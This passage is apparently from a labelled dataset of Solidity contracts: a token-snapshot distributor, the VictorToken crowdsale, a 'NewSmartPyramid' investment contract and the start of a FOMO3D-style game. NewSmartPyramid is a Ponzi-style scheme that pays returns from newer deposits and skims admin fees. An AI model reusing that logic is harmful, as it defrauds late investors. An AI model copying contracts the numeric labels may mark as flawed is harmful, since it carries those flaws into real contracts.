mapping (address => uint8) public contributor_rounds;
Snapshot[] public snapshots;
address owner;
uint8 public rounds;
constructor(address _contract) {
owner = msg.sender;
contr = Contract(_contract);
eth_balance = contr.contract_eth_value();
require(eth_balance != 0);
}
function dev_fee(uint256 tokens_this_round) internal returns (uint256) {
uint256 tokens_individual;
tokens_individual = tokens_this_round/FEE_DEV;
require(token.transfer(DEVELOPER1, tokens_individual));
require(token.transfer(DEVELOPER2, tokens_individual));
tokens_this_round -= (2*tokens_individual);
return tokens_this_round;
}
function withdraw() {
uint256 contract_token_balance = token.balanceOf(address(this));
var (balance, balance_bonus, fee, whitelisted) = contr.contributors(msg.sender);
if (contributor_rounds[msg.sender] < rounds) {
Snapshot storage snapshot = snapshots[contributor_rounds[msg.sender]];
uint256 tokens_to_withdraw = (balance * snapshot.tokens_balance) / snapshot.eth_balance;
snapshot.tokens_balance -= tokens_to_withdraw;
snapshot.eth_balance -= balance;
contributor_rounds[msg.sender]++;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
}
function emergency_withdraw(address _token) {
require(msg.sender == owner);
require(ERC20(_token).transfer(owner, ERC20(_token).balanceOf(this)));
}
function set_tokens_received() {
require(msg.sender == owner);
uint256 previous_balance;
uint256 tokens_this_round;
for (uint8 i = 0; i < snapshots.length; i++) {
previous_balance += snapshots[i].tokens_balance;
}
tokens_this_round = token.balanceOf(address(this)) - previous_balance;
require(tokens_this_round != 0);
tokens_this_round = dev_fee(tokens_this_round);
snapshots.push(Snapshot(tokens_this_round, eth_balance));
rounds++;
}
function set_token_address(address _token) {
require(msg.sender == owner && _token != 0x0);
token = ERC20(_token);
}
} | 1 | 3,274 |
pragma solidity ^0.4.24;
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
public
onlyOwner
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
public
onlyOwner
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] _tokens) public onlyOwner {
for (uint256 i = 0; i < _tokens.length; i++) {
ERC20Basic token = ERC20Basic(_tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract VictorTokenSale is TimedCrowdsale, Ownable, Whitelist, TokenDestructible {
using SafeMath for uint256;
uint256 public constant STAGE_1_BONUS_RT = 35;
uint256 public constant STAGE_2_BONUS_RT = 30;
uint256 public constant STAGE_3_BONUS_RT = 25;
uint256 public constant STAGE_4_BONUS_RT = 20;
uint256 public constant STAGE_5_BONUS_RT = 15;
uint256 public constant STAGE_6_BONUS_RT = 10;
uint256 public constant STAGE_7_BONUS_RT = 5;
uint256 public constant BOUNDARY_1 = 550000000000000000000000000;
uint256 public constant BOUNDARY_2 = 1100000000000000000000000000;
uint256 public constant BOUNDARY_3 = 1650000000000000000000000000;
uint256 public constant BOUNDARY_4 = 2200000000000000000000000000;
uint256 public constant BOUNDARY_5 = 2750000000000000000000000000;
uint256 public constant BOUNDARY_6 = 3300000000000000000000000000;
uint256 public constant BOUNDARY_7 = 3850000000000000000000000000;
VictorToken _token;
uint256 public bonusRate;
uint256 public calcAdditionalRatio;
uint256 public cumulativeSumofToken = 0;
uint256 public minimum_buy_limit = 0.1 ether;
uint256 public maximum_buy_limit = 1000 ether;
event SetPeriod(uint256 _openingTime, uint256 _closingTime);
event SetBuyLimit(uint256 _minLimit, uint256 _maxLimit);
constructor(
VictorToken _token_,
address _wallet
)
public
Crowdsale(25000, _wallet, _token_)
TimedCrowdsale(block.timestamp, block.timestamp + 16 weeks)
{
_token = _token_;
emit SetPeriod(openingTime, closingTime);
calcBonusRate();
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
onlyWhileOpen
onlyIfWhitelisted(_beneficiary)
internal
{
require(_beneficiary != address(0));
require(_weiAmount >= minimum_buy_limit);
require(_weiAmount <= maximum_buy_limit);
require(BOUNDARY_7 >= (cumulativeSumofToken + _weiAmount));
}
function _getTokenAmount(
uint256 _weiAmount
)
internal
view
returns (uint256)
{
return (_weiAmount.mul(rate)).add(_weiAmount.mul(calcAdditionalRatio)) ;
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
uint256 lockBalance = _weiAmount.mul(calcAdditionalRatio);
_token.increaseLockBalance(_beneficiary, lockBalance);
cumulativeSumofToken = cumulativeSumofToken.add(_weiAmount.mul(rate));
calcBonusRate();
return;
}
function calcBonusRate()
public
{
if (cumulativeSumofToken >= 0 && cumulativeSumofToken < BOUNDARY_1 && bonusRate != STAGE_1_BONUS_RT)
{
bonusRate = STAGE_1_BONUS_RT;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
}
else if (cumulativeSumofToken >= BOUNDARY_1 && cumulativeSumofToken < BOUNDARY_2 && bonusRate != STAGE_2_BONUS_RT)
{
bonusRate = STAGE_2_BONUS_RT;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
}
else if (cumulativeSumofToken >= BOUNDARY_2 && cumulativeSumofToken < BOUNDARY_3 && bonusRate != STAGE_3_BONUS_RT)
{
bonusRate = STAGE_3_BONUS_RT;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
}
else if (cumulativeSumofToken >= BOUNDARY_3 && cumulativeSumofToken < BOUNDARY_4 && bonusRate != STAGE_4_BONUS_RT)
{
bonusRate = STAGE_4_BONUS_RT;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
}
else if (cumulativeSumofToken >= BOUNDARY_4 && cumulativeSumofToken < BOUNDARY_5 && bonusRate != STAGE_5_BONUS_RT)
{
bonusRate = STAGE_5_BONUS_RT;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
}
else if (cumulativeSumofToken >= BOUNDARY_5 && cumulativeSumofToken < BOUNDARY_6 && bonusRate != STAGE_6_BONUS_RT)
{
bonusRate = STAGE_6_BONUS_RT;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
}
else if (cumulativeSumofToken >= BOUNDARY_6 && cumulativeSumofToken < BOUNDARY_7 && bonusRate != STAGE_7_BONUS_RT)
{
bonusRate = STAGE_7_BONUS_RT;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
}
else if (cumulativeSumofToken >= BOUNDARY_7)
{
bonusRate = 0;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
}
return;
}
function changePeriod(
uint256 _openingTime,
uint256 _closingTime
)
onlyOwner
external
returns (bool)
{
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
calcAdditionalRatio = (rate.mul(bonusRate)).div(100);
emit SetPeriod(openingTime, closingTime);
return true;
}
function changeLimit(
uint256 _minLimit,
uint256 _maxLimit
)
onlyOwner
external
returns (bool)
{
require(_minLimit >= 0 ether);
require(_maxLimit >= 3 ether);
minimum_buy_limit = _minLimit;
maximum_buy_limit = _maxLimit;
emit SetBuyLimit(minimum_buy_limit, maximum_buy_limit);
return true;
}
function bonusDrop(
address _beneficiary,
uint256 _tokenAmount
)
onlyOwner
external
returns (bool)
{
_processPurchase(_beneficiary, _tokenAmount);
emit TokenPurchase(
msg.sender,
_beneficiary,
0,
_tokenAmount
);
_token.increaseLockBalance(_beneficiary, _tokenAmount);
return true;
}
function unlockBonusDrop(
address _beneficiary,
uint256 _tokenAmount
)
onlyOwner
external
returns (bool)
{
_processPurchase(_beneficiary, _tokenAmount);
emit TokenPurchase(
msg.sender,
_beneficiary,
0,
_tokenAmount
);
return true;
}
function increaseTokenLock(
address _beneficiary,
uint256 _tokenAmount
)
onlyOwner
external
returns (bool)
{
return(_token.increaseLockBalance(_beneficiary, _tokenAmount));
}
function decreaseTokenLock(
address _beneficiary,
uint256 _tokenAmount
)
onlyOwner
external
returns (bool)
{
return(_token.decreaseLockBalance(_beneficiary, _tokenAmount));
}
function clearTokenLock(
address _beneficiary
)
onlyOwner
external
returns (bool)
{
return(_token.clearLock(_beneficiary));
}
function resetLockReleaseTime(
address _beneficiary,
uint256 _releaseTime
)
onlyOwner
external
returns (bool)
{
return(_token.setReleaseTime(_beneficiary, _releaseTime));
}
function transferTokenOwnership(
address _newOwner
)
onlyOwner
external
returns (bool)
{
_token.transferOwnership(_newOwner);
return true;
}
function pauseToken()
onlyOwner
external
returns (bool)
{
_token.pause();
return true;
}
function unpauseToken()
onlyOwner
external
returns (bool)
{
_token.unpause();
return true;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract IndividualLockableToken is PausableToken{
using SafeMath for uint256;
event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time);
event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time);
struct lockState {
uint256 locked_balance;
uint256 release_time;
}
uint256 public lock_period = 24 weeks;
mapping(address => lockState) internal userLock;
function setReleaseTime(address _holder, uint256 _release_time)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_release_time >= block.timestamp);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = _release_time;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function getReleaseTime(address _holder)
public
view
returns (uint256)
{
require(_holder != address(0));
return userLock[_holder].release_time;
}
function clearReleaseTime(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = 0;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balances[_holder] >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_period;
}
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function decreaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(userLock[_holder].locked_balance >= _value);
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function clearLock(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
userLock[_holder].locked_balance = 0;
userLock[_holder].release_time = 0;
emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function getLockedBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return uint256(0);
return userLock[_holder].locked_balance;
}
function getFreeBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return balances[_holder];
return balances[_holder].sub(userLock[_holder].locked_balance);
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool success)
{
require(getFreeBalance(msg.sender) >= allowed[msg.sender][_spender].add(_addedValue));
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue < oldValue) {
require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue));
}
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract VictorToken is IndividualLockableToken, TokenDestructible {
using SafeMath for uint256;
string public constant name = "VictorToken";
string public constant symbol = "VIC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals));
constructor()
public
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
} | 0 | 421 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract InvestorsStorage {
address private owner;
mapping (address => Investor) private investors;
struct Investor {
uint deposit;
uint checkpoint;
address referrer;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value) external onlyOwner {
investors[_address].deposit += _value;
investors[_address].checkpoint = block.timestamp;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function addReferrer(address _referral, address _referrer) external onlyOwner {
investors[_referral].referrer = _referrer;
}
function getInterest(address _address) external view returns(uint) {
if (investors[_address].deposit > 0) {
return(500 + ((block.timestamp - investors[_address].checkpoint) / 1 days));
}
}
function d(address _address) external view returns(uint) {
return investors[_address].deposit;
}
function c(address _address) external view returns(uint) {
return investors[_address].checkpoint;
}
function r(address _address) external view returns(address) {
return investors[_address].referrer;
}
}
contract NewSmartPyramid {
using SafeMath for uint;
address adv_adr;
address adm_adr;
uint waveStartUp;
uint nextPayDay;
mapping (uint => Leader) top;
event LogInvestment(address indexed _addr, uint _value);
event LogIncome(address indexed _addr, uint _value, string indexed _type);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
event LogGift(address _firstAddr, uint _firstDep, address _secondAddr, uint _secondDep, address _thirdAddr, uint _thirdDep);
event LogNewWave(uint _waveStartUp);
InvestorsStorage private x;
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
struct Leader {
address addr;
uint deposit;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(_source,0x14))
}
return parsedReferrer;
}
function addReferrer(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
x.addReferrer(msg.sender, _referrer);
x.r(msg.sender).transfer(_value / 20);
emit LogReferralInvestment(_referrer, msg.sender, _value);
emit LogIncome(_referrer, _value / 20, "referral");
}
}
constructor(address adv,address adm) public {
adv_adr = adv;
adm_adr = adm;
x = new InvestorsStorage();
nextPayDay = block.timestamp.sub((block.timestamp - 1538388000).mod(7 days)).add(7 days);
}
function getInfo(address _address) external view returns(uint deposit, uint amountToWithdraw) {
deposit = x.d(_address);
if (block.timestamp >= x.c(_address) + 10 minutes) {
amountToWithdraw = (x.d(_address).mul(x.getInterest(_address)).div(10000)).mul(block.timestamp.sub(x.c(_address))).div(1 days);
} else {
amountToWithdraw = 0;
}
}
function getTop() external view returns(address, uint, address, uint, address, uint) {
return(top[1].addr, top[1].deposit, top[2].addr, top[2].deposit, top[3].addr, top[3].deposit);
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
function invest() notOnPause public payable {
adm_adr.transfer(msg.value.mul(13).div(100));
adv_adr.transfer(msg.value.mul(2).div(100));
if (x.d(msg.sender) > 0) {
withdraw();
}
x.updateInfo(msg.sender, msg.value);
if (msg.value > top[3].deposit) {
toTheTop();
}
if (x.r(msg.sender) != 0x0) {
x.r(msg.sender).transfer(msg.value / 20);
emit LogReferralInvestment(x.r(msg.sender), msg.sender, msg.value);
emit LogIncome(x.r(msg.sender), msg.value / 20, "referral");
} else if (msg.data.length == 20) {
addReferrer(msg.value);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() notOnPause public {
if (block.timestamp >= x.c(msg.sender) + 10 minutes) {
uint _payout = (x.d(msg.sender).mul(x.getInterest(msg.sender)).div(10000)).mul(block.timestamp.sub(x.c(msg.sender))).div(1 days);
x.updateCheckpoint(msg.sender);
}
if (_payout > 0) {
if (_payout > address(this).balance) {
nextWave();
return;
}
msg.sender.transfer(_payout);
emit LogIncome(msg.sender, _payout, "withdrawn");
}
}
function toTheTop() internal {
if (msg.value <= top[2].deposit) {
top[3] = Leader(msg.sender, msg.value);
} else {
if (msg.value <= top[1].deposit) {
top[3] = top[2];
top[2] = Leader(msg.sender, msg.value);
} else {
top[3] = top[2];
top[2] = top[1];
top[1] = Leader(msg.sender, msg.value);
}
}
}
function payDay() external {
if(msg.sender != adm_adr)
require(block.timestamp >= nextPayDay);
nextPayDay = block.timestamp.sub((block.timestamp - 1538388000).mod(7 days)).add(7 days);
emit LogGift(top[1].addr, top[1].deposit, top[2].addr, top[2].deposit, top[3].addr, top[3].deposit);
for (uint i = 0; i <= 2; i++) {
if (top[i+1].addr != 0x0) {
uint money_to = 0.5 ether;
if(i==0)
money_to = 3 ether;
else if(i==1)
money_to = 1.5 ether;
top[i+1].addr.transfer(money_to);
top[i+1] = Leader(0x0, 0);
}
}
}
function nextWave() private {
for (uint i = 0; i <= 2; i++) {
top[i+1] = Leader(0x0, 0);
}
x = new InvestorsStorage();
waveStartUp = block.timestamp + 7 days;
emit LogNewWave(waveStartUp);
}
} | 0 | 123 |
pragma solidity ^0.4.24;
contract POOHMOXevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount,
uint256 potAmount
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 POOHAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract POOHMOX is POOHMOXevents {
using SafeMath for *;
using NameFilter for string;
using KeysCalc for uint256;
PlayerBookInterface private PlayerBook;
address private admin = msg.sender;
address private flushDivs;
string constant public name = "POOHMOX";
string constant public symbol = "POOHMOX";
uint256 private rndExtra_ = 1 seconds;
uint256 private rndGap_ = 1 seconds;
uint256 private rndInit_ = 5 minutes;
uint256 private rndMax_ = 5 minutes;
uint256 constant private rndInc_ = 5 minutes;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => POOHMOXDatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => POOHMOXDatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => POOHMOXDatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => POOHMOXDatasets.TeamFee) public fees_;
mapping (uint256 => POOHMOXDatasets.PotSplit) public potSplit_;
constructor(address whaleContract, address playerbook)
public
{
flushDivs = whaleContract;
PlayerBook = PlayerBookInterface(playerbook);
fees_[0] = POOHMOXDatasets.TeamFee(39,20);
potSplit_[0] = POOHMOXDatasets.PotSplit(15,10);
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0);
require(_addr == tx.origin);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
